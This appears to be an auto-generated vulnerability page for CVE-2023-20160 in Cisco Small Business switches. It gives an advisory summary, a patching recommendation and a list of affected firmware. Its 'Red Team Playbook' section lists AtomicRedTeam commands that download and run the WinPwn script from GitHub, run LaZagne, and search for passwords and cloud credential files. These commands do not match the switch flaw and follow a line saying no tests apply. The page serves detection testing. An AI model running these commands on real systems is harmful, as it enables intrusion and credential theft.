CVE-2023-20160
Overview
The vulnerability arises from improper validation of HTTP requests sent to the web-based user interface of Cisco Small Business Smart and Managed Switches. Specifically, the web interface fails to correctly validate input parameters, leading to memory corruption issues consistent with buffer overflow conditions. This flaw affects the web management component responsible for processing remote administrative commands and requests.
Vulnerability Description
Multiple vulnerabilities in the web-based user interface of certain Cisco Small Business Series Switches could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition or execute arbitrary code with root privileges on an affected device. These vulnerabilities are due to improper validation of requests that are sent to the web interface. For more information about these vulnerabilities, see the Details section of this advisory.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code with root privileges or cause a denial of service on the affected device. No authentication or user interaction is required (CVSS vector AV:N/AC:L/PR:N/UI:N), and the attack can be performed remotely over the network. Successful exploitation may result in complete device compromise, disrupting network operations and potentially allowing lateral movement within the network environment.
Solution
Cisco has released security updates for the affected Small Business Smart and Managed Switches as detailed in their advisory cisco-sa-sg-web-multi-S9g4Nkgv. Administrators should apply the latest firmware versions corresponding to their device models listed in the advisory. The vendor does not list any workarounds; therefore, timely patching is the recommended remediation step to mitigate these vulnerabilities.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The recent vulnerabilities identified in the web-based user interface of specific Cisco Small Business Series Switches are primarily attributed to inadequate validation of requests sent to the web interface. This flaw allows an unauthenticated remote attacker to exploit the system, potentially leading to a denial of service (DoS) condition or the execution of arbitrary code with root privileges on the affected devices. The improper handling of input can result in various attack vectors, enabling malicious actors to manipulate the device's functionality or disrupt its operations entirely. The severity of these vulnerabilities, reflected in a high CVSS score, underscores the critical nature of the threat posed to network integrity and security.
Exploitation of these vulnerabilities can occur through several attack vectors. An attacker could initiate a DoS attack by sending specially crafted requests that the web interface fails to validate properly. This could overwhelm the device, rendering it inoperable and disrupting network services for users. Furthermore, the ability to execute arbitrary code with root privileges opens the door for more sophisticated attacks, where an adversary could gain full control over the device. Such exploitation could lead to unauthorized access to sensitive data, manipulation of network traffic, or even the establishment of a foothold within the broader network infrastructure, facilitating further attacks.
The real-world impact of these vulnerabilities is significant, particularly for organizations relying on the affected Cisco switches for their network operations. A successful attack could lead to prolonged downtime, resulting in financial losses and reputational damage. The potential for data breaches also poses a considerable business risk, as attackers could exploit the compromised devices to access confidential information or disrupt critical business processes. Moreover, the cascading effects of a compromised network device can extend beyond the immediate organization, potentially impacting customers and partners, thereby amplifying the overall risk landscape.
To effectively detect and mitigate these vulnerabilities, organizations should implement a multi-layered security approach. Regularly updating firmware to the latest versions provided by Cisco is crucial, as these updates often include patches for known vulnerabilities. Additionally, network monitoring solutions should be employed to detect unusual traffic patterns or unauthorized access attempts, which may indicate exploitation attempts. Organizations should also consider implementing strict access controls and segmentation within their networks to limit the potential impact of a compromised device. Conducting regular security assessments and penetration testing can further help identify and remediate vulnerabilities before they can be exploited.
In conclusion, the vulnerabilities present in the web-based user interface of specific Cisco Small Business Series Switches represent a critical threat to network security. The potential for denial of service and arbitrary code execution poses significant risks to organizations, necessitating immediate attention and action. By adopting proactive detection and mitigation strategies, businesses can safeguard their network infrastructure, protect sensitive data, and maintain operational continuity in the face of evolving cyber threats.
Affected Products (229)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cisco | Business 250-16p-2g Firmware | N/A |
cpe:2.3:o:cisco:business_250-16p-2g_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-16t-2g Firmware | N/A |
cpe:2.3:o:cisco:business_250-16t-2g_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-24fp-4g Firmware | N/A |
cpe:2.3:o:cisco:business_250-24fp-4g_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-24fp-4x Firmware | N/A |
cpe:2.3:o:cisco:business_250-24fp-4x_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-24p-4g Firmware | N/A |
cpe:2.3:o:cisco:business_250-24p-4g_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-24p-4x Firmware | N/A |
cpe:2.3:o:cisco:business_250-24p-4x_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-24pp-4g Firmware | N/A |
cpe:2.3:o:cisco:business_250-24pp-4g_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-24t-4g Firmware | N/A |
cpe:2.3:o:cisco:business_250-24t-4g_firmware:-:*:*:*:*:*:*:*
|
|
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Cisco | Business 250-24t-4x Firmware | N/A |
cpe:2.3:o:cisco:business_250-24t-4x_firmware:-:*:*:*:*:*:*:*
|
|
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Cisco | Business 250-48p-4g Firmware | N/A |
cpe:2.3:o:cisco:business_250-48p-4g_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-48p-4x Firmware | N/A |
cpe:2.3:o:cisco:business_250-48p-4x_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-48pp-4g Firmware | N/A |
cpe:2.3:o:cisco:business_250-48pp-4g_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-48t-4g Firmware | N/A |
cpe:2.3:o:cisco:business_250-48t-4g_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-48t-4x Firmware | N/A |
cpe:2.3:o:cisco:business_250-48t-4x_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-8fp-E-2g Firmware | N/A |
cpe:2.3:o:cisco:business_250-8fp-e-2g_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-8p-E-2g Firmware | N/A |
cpe:2.3:o:cisco:business_250-8p-e-2g_firmware:-:*:*:*:*:*:*:*
|
|
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Cisco | Business 250-8pp-D Firmware | N/A |
cpe:2.3:o:cisco:business_250-8pp-d_firmware:-:*:*:*:*:*:*:*
|
|
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Cisco | Business 250-8pp-E-2g Firmware | N/A |
cpe:2.3:o:cisco:business_250-8pp-e-2g_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-8t-D Firmware | N/A |
cpe:2.3:o:cisco:business_250-8t-d_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-8t-E-2g Firmware | N/A |
cpe:2.3:o:cisco:business_250-8t-e-2g_firmware:-:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-20160 |
| sec.cloudapps.cisco.com |
GitHub CVE
vendor-advisory
|
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sg-web-multi-S9g4Nkgv |